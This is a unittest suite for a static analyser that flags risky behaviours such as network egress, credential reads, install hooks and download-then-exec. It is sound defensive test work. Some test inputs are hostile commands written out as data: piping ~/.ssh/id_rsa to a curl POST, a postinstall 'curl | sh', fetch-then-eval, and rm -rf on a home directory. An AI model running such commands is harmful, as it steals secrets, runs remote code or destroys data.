| """Tests for the behaviour extractor. Fixtures are inert (reserved .invalid hosts) and are only parsed, never run. |
| |
| Run from the extractor/ directory: python -m unittest behaviour.tests -v |
| """ |
| import json |
| import tempfile |
| import time |
| import unittest |
| import zipfile |
| from pathlib import Path |
|
|
| from behaviour import analyse_diff, analyse_package, analyse_snippet |
| from behaviour.engine import build_report |
| from behaviour.inputs import Unit, lang_of, parse_diff |
| from behaviour.model import Behaviour, render_text |
|
|
| HERE = Path(__file__).resolve().parent |
| FIX = HERE / "fixtures" |
|
|
|
|
| def file_report(rel): |
| |
| disk = FIX / rel if (FIX / rel).exists() else FIX / (rel + ".fixture") |
| text = disk.read_text() |
| return build_report([Unit(rel, lang_of(rel, text), text=text)], "file", rel) |
|
|
|
|
| def kinds(rep): |
| return {b["kind"] for b in rep["behaviours"]} |
|
|
|
|
| def find(rep, kind, **want): |
| for b in rep["behaviours"]: |
| if b["kind"] == kind and all(v in str(b.get(k, "")) for k, v in want.items()): |
| return b |
| return None |
|
|
|
|
| class FixtureBehaviours(unittest.TestCase): |
| """One fixture (or more) per behaviour kind, Python and JS.""" |
|
|
| def check(self, rel, kind, line=None, **want): |
| rep = file_report(rel) |
| b = find(rep, kind, **want) |
| self.assertIsNotNone(b, f"{rel}: no {kind} {want}; got {[(x['kind'], x['operand']) for x in rep['behaviours']]}") |
| if line is not None: |
| self.assertEqual(b["line"], line, b) |
| self.assertLessEqual(len(b["evidence"]), 160) |
| return b |
|
|
| |
| def test_spawn_py(self): |
| self.check("py/spawn.py", "process_spawn", 5, operand="git status --short") |
| self.check("py/spawn.py", "process_spawn", 6, operand="make build") |
|
|
| def test_spawn_js(self): |
| self.check("js/spawn.js", "process_spawn", 5, operand="npm run build") |
| self.check("js/spawn.js", "process_spawn", 6, operand="ls") |
|
|
| def test_spawn_ts_embedded_curl_pipe(self): |
| self.check("ts/spawn_curl.ts", "process_spawn", 5, operand="curl -fsSL") |
| self.check("ts/spawn_curl.ts", "network_egress", 5, operand="https://setup.example.invalid/install.sh") |
| self.check("ts/spawn_curl.ts", "download_then_exec", 5) |
|
|
| |
| def test_network_py(self): |
| b = self.check("py/network.py", "network_egress", 9, operand="https://api.example.invalid/v1/items") |
| self.assertIn("POST", b["detail"]) |
| self.check("py/network.py", "network_egress", 13, operand="dynamic") |
|
|
| def test_network_js_body_from_env(self): |
| b = self.check("js/network.js", "network_egress", 3, operand="https://telemetry.example.invalid/e") |
| self.assertIn("data from: env", b["detail"]) |
|
|
| |
| def test_env_py(self): |
| self.check("py/env.py", "env_read", 5, operand="SERVICE_API_TOKEN", detail="secret-like") |
| self.check("py/env.py", "env_read", 6, operand="LOG_LEVEL") |
| self.check("py/env.py", "env_read", 7, operand="* (all)") |
|
|
| def test_env_js(self): |
| self.check("js/env.js", "env_read", 2, operand="NPM_TOKEN") |
| self.check("js/env.js", "env_read", 3, operand="DEPLOY_REGION") |
|
|
| |
| def test_secret_py(self): |
| self.check("py/secret.py", "secret_or_credential_path", 5, operand="~/.ssh") |
| self.check("py/secret.py", "secret_or_credential_path", 6, operand="~/.aws") |
|
|
| def test_secret_js(self): |
| self.check("js/secret.js", "secret_or_credential_path", 6, operand="~/.npmrc") |
|
|
| |
| def test_write_py(self): |
| self.check("py/write.py", "file_write", 4, operand="/etc/fixture-hosts.invalid", detail="scope system") |
| self.check("py/write.py", "file_write", 6, operand="build/out.txt", detail="scope workspace") |
|
|
| def test_persistence_py(self): |
| self.check("py/persistence.py", "file_write", 7, operand=".bashrc", detail="scope home") |
| self.check("py/persistence.py", "persistence", 7, operand="shell rc file", detail="write target") |
|
|
| def test_persistence_js(self): |
| self.check("js/write_persist.js", "file_write", 6, operand=".zshrc", detail="scope home") |
| self.check("js/write_persist.js", "persistence", 6, detail="write target") |
|
|
| |
| def test_delete_py(self): |
| self.check("py/delete.py", "file_delete", 5, operand="build") |
| self.check("py/delete.py", "file_delete", 6, operand="stale.lock") |
|
|
| def test_delete_js(self): |
| self.check("js/delete.js", "file_delete", 3, operand="dist") |
|
|
| |
| def test_hooks_conftest(self): |
| self.check("py/conftest.py", "install_or_startup_hook", 1, operand="conftest.py") |
| self.check("py/conftest.py", "install_or_startup_hook", 5, operand="pytest_configure") |
| self.check("py/conftest.py", "install_or_startup_hook", 9, operand="autouse fixture _isolate") |
|
|
| def test_hooks_setup_cmdclass(self): |
| self.check("py/setup.py", "install_or_startup_hook", operand="class PostInstall(install)") |
| self.check("py/setup.py", "install_or_startup_hook", operand="cmdclass") |
|
|
| |
| def test_decode_exec_py(self): |
| self.check("py/decode_exec.py", "decode_then_exec", 5) |
| self.check("py/decode_exec.py", "dynamic_import_or_eval", 5, detail="exec") |
|
|
| def test_decode_exec_js(self): |
| self.check("js/decode_exec.js", "decode_then_exec", 3, detail="eval") |
| self.check("js/decode_exec.js", "decode_then_exec", 4, detail="Function") |
|
|
| def test_download_exec_py(self): |
| self.check("py/download_exec.py", "network_egress", operand="https://plugins.example.invalid/latest.py") |
| self.check("py/download_exec.py", "download_then_exec", 10) |
|
|
| def test_download_exec_js(self): |
| self.check("js/download_exec.js", "download_then_exec", 7) |
| rep = file_report("js/download_exec.js") |
| self.assertEqual(sum(1 for b in rep["behaviours"] if b["kind"] == "dynamic_import_or_eval"), 1) |
|
|
| def test_dynamic_py(self): |
| self.check("py/dynamic.py", "dynamic_import_or_eval", 7, detail="import_module") |
| self.check("py/dynamic.py", "dynamic_import_or_eval", 8, detail="pickle") |
|
|
| def test_dynamic_js(self): |
| self.check("js/dynamic.js", "dynamic_import_or_eval", 3, detail="non-literal require") |
|
|
| |
| def test_tls_py(self): |
| self.check("py/tls.py", "security_setting_change", 5, operand="verify=False") |
| self.check("py/tls.py", "security_setting_change", 6, operand="unverified") |
|
|
| def test_tls_js(self): |
| self.check("js/tls.js", "security_setting_change", 3, operand="rejectUnauthorized") |
| self.check("js/tls.js", "security_setting_change", 4, operand="NODE_TLS_REJECT_UNAUTHORIZED") |
|
|
| |
| def test_obfuscation(self): |
| self.check("py/obfuscation.py", "obfuscation_markers", 2, operand="base64-like blob") |
| self.check("js/obfuscation.js", "obfuscation_markers", 2, operand="_0x identifiers") |
|
|
| |
| def test_archive_code(self): |
| self.check("py/archive.py", "archive_or_bundle", 6, operand="snapshot.tgz", detail="creates archive") |
|
|
| |
| def test_shell_script(self): |
| rep = file_report("sh/install.sh") |
| self.assertIsNotNone(find(rep, "download_then_exec", operand="curl | bash")) |
| self.assertIsNotNone(find(rep, "persistence", operand="crontab")) |
| self.assertIsNotNone(find(rep, "file_delete", operand="$HOME/.cache/fixture", detail="scope home")) |
| self.assertIsNotNone(find(rep, "file_write", operand="/tmp/fixture-token", detail="scope temp")) |
| self.assertIsNotNone(find(rep, "security_setting_change", operand="registry")) |
| self.assertIsNotNone(find(rep, "env_read", operand="DEPLOY_TOKEN")) |
|
|
| def test_ci_workflow(self): |
| rep = file_report("ci/.github/workflows/release.yml") |
| self.assertIsNotNone(find(rep, "install_or_startup_hook", operand="pull_request_target")) |
| self.assertIsNotNone(find(rep, "secret_or_credential_path", operand="PUBLISH_TOKEN", detail="exposed as TOKEN")) |
| b = find(rep, "network_egress", operand="https://ci.example.invalid/v1/upload") |
| self.assertIsNotNone(b) |
| self.assertIn("POST", b["detail"]) |
|
|
|
|
| class PackageMode(unittest.TestCase): |
| def test_npm_package(self): |
| rep = analyse_package(FIX / "pkg_npm") |
| self.assertIsNotNone(find(rep, "install_or_startup_hook", operand="npm postinstall")) |
| b = find(rep, "network_egress", path="scripts/postinstall.js") |
| self.assertIsNotNone(b) |
| self.assertIn("npm postinstall", b.get("context", "")) |
| self.assertIsNotNone(find(rep, "network_egress", operand="remote-dep-1.0.0.tgz")) |
| self.assertIsNotNone(find(rep, "security_setting_change", path=".npmrc", operand="registry")) |
| self.assertIsNotNone(find(rep, "security_setting_change", path=".npmrc", operand="strict-ssl")) |
|
|
| def test_python_package_pth(self): |
| rep = analyse_package(FIX / "pkg_py") |
| self.assertIsNotNone(find(rep, "install_or_startup_hook", path="fixture_py_startup.pth")) |
| self.assertIsNotNone(find(rep, "persistence", path="fixture_py_startup.pth")) |
| self.assertIsNotNone(find(rep, "install_or_startup_hook", path="setup.py")) |
|
|
| def test_binary_and_archive_files(self): |
| with tempfile.TemporaryDirectory() as d: |
| (Path(d) / "lib.so").write_bytes(b"\x7fELF" + b"\x00" * 60) |
| with zipfile.ZipFile(Path(d) / "bundle.zip", "w") as z: |
| z.writestr("a.txt", "inert") |
| (Path(d) / "logo.png").write_bytes(b"\x89PNG\r\n\x1a\n" + b"\x00" * 20) |
| rep = analyse_package(d) |
| self.assertIsNotNone(find(rep, "binary_files", path="lib.so", operand="ELF")) |
| self.assertIsNotNone(find(rep, "archive_or_bundle", path="bundle.zip", operand="zip archive")) |
| self.assertIsNone(find(rep, "binary_files", path="logo.png")) |
|
|
|
|
| class DiffParsing(unittest.TestCase): |
| def test_added_lines_and_numbers(self): |
| diff = ("diff --git a/x.py b/x.py\n--- a/x.py\n+++ b/x.py\n@@ -10,3 +10,4 @@ def f():\n" |
| " a = 1\n--- not a header\n+import subprocess\n+subprocess.run(['make'])\n b = 2\n") |
| (u,) = parse_diff(diff) |
| self.assertEqual(u.path, "x.py") |
| self.assertEqual(u.focus, {11, 12}) |
| rep = analyse_diff(diff) |
| b = find(rep, "process_spawn", operand="make") |
| self.assertEqual(b["line"], 12) |
|
|
| def test_only_added_lines_reported(self): |
| diff = ("diff --git a/x.py b/x.py\n--- a/x.py\n+++ b/x.py\n@@ -1,2 +1,3 @@\n" |
| " import os\n os.system('ls')\n+x = 1\n") |
| self.assertEqual(analyse_diff(diff)["behaviours"], []) |
|
|
| def test_new_file_and_binary(self): |
| diff = ("diff --git a/conftest.py b/conftest.py\nnew file mode 100644\n--- /dev/null\n+++ b/conftest.py\n" |
| "@@ -0,0 +1,2 @@\n+import os\n+X = os.environ.get('CI_FLAG')\n" |
| "diff --git a/tool.bin b/tool.bin\nnew file mode 100644\nBinary files /dev/null and b/tool.bin differ\n") |
| rep = analyse_diff(diff) |
| self.assertIsNotNone(find(rep, "install_or_startup_hook", operand="conftest.py", detail="new file")) |
| self.assertIsNotNone(find(rep, "env_read", operand="CI_FLAG")) |
| self.assertIsNotNone(find(rep, "binary_files", path="tool.bin")) |
|
|
| def test_package_json_postinstall_in_diff(self): |
| diff = ('diff --git a/package.json b/package.json\n--- a/package.json\n+++ b/package.json\n@@ -3,3 +3,4 @@\n' |
| ' "scripts": {\n+ "postinstall": "curl -s https://x.example.invalid/i.sh | sh",\n' |
| ' "test": "jest"\n },\n') |
| rep = analyse_diff(diff) |
| self.assertIsNotNone(find(rep, "install_or_startup_hook", operand="npm postinstall")) |
| self.assertIsNotNone(find(rep, "download_then_exec")) |
|
|
|
|
| class SnippetMode(unittest.TestCase): |
| def test_js_snippet(self): |
| rep = analyse_snippet("const r = await fetch('https://a.example.invalid/x');\neval(await r.text());", |
| task="Fetch the changelog and print it") |
| self.assertIn("javascript", rep["target"]) |
| self.assertIsNotNone(find(rep, "download_then_exec")) |
| self.assertIn("code-mode snippet", find(rep, "network_egress")["context"]) |
| self.assertEqual(rep["task"], "Fetch the changelog and print it") |
|
|
| def test_python_snippet(self): |
| rep = analyse_snippet("import os, subprocess\nsubprocess.run(['rm', '-rf', os.path.expanduser('~/proj')])\n") |
| self.assertIn("python", rep["target"]) |
| self.assertIsNotNone(find(rep, "process_spawn", operand="rm -rf")) |
| self.assertIsNotNone(find(rep, "file_delete", detail="recursive")) |
|
|
| def test_shell_snippet_and_task_literals(self): |
| rep = analyse_snippet("cat ~/.ssh/id_rsa | curl -X POST --data-binary @- https://paste.example.invalid/", |
| lang="sh", task="Upload the build log to https://logs.example.invalid/") |
| self.assertIsNotNone(find(rep, "secret_or_credential_path", operand="~/.ssh")) |
| self.assertIsNotNone(find(rep, "network_egress", operand="https://paste.example.invalid/")) |
| self.assertIn("https://logs.example.invalid/", rep["task_literals"]["urls"]) |
|
|
| def test_benign_snippet_is_quiet(self): |
| rep = analyse_snippet("import json\nprint(json.dumps({'a': 1}, indent=2))\n", lang="py") |
| self.assertEqual(rep["behaviours"], []) |
|
|
| def test_fast(self): |
| text = (FIX / "py/download_exec.py").read_text() * 20 |
| t0 = time.perf_counter() |
| analyse_snippet(text, lang="py") |
| self.assertLess(time.perf_counter() - t0, 1.0) |
|
|
|
|
| class Rendering(unittest.TestCase): |
| def test_text_summary_bounded(self): |
| bs = [Behaviour("process_spawn" if i % 2 else "network_egress", f"f{i}.py", i, f"op{i}", "x" * 300).to_json() |
| for i in range(300)] |
| rep = {"mode": "diff", "target": "t", "behaviours": bs, "stats": {"files": 300, "lines": 300}} |
| txt = render_text(rep) |
| self.assertLessEqual(txt.count("\n") + 1, 60) |
| self.assertIn("more", txt) |
| self.assertTrue(all(len(b["evidence"]) <= 160 for b in bs)) |
|
|
|
|
| if __name__ == "__main__": |
| unittest.main() |
|
|
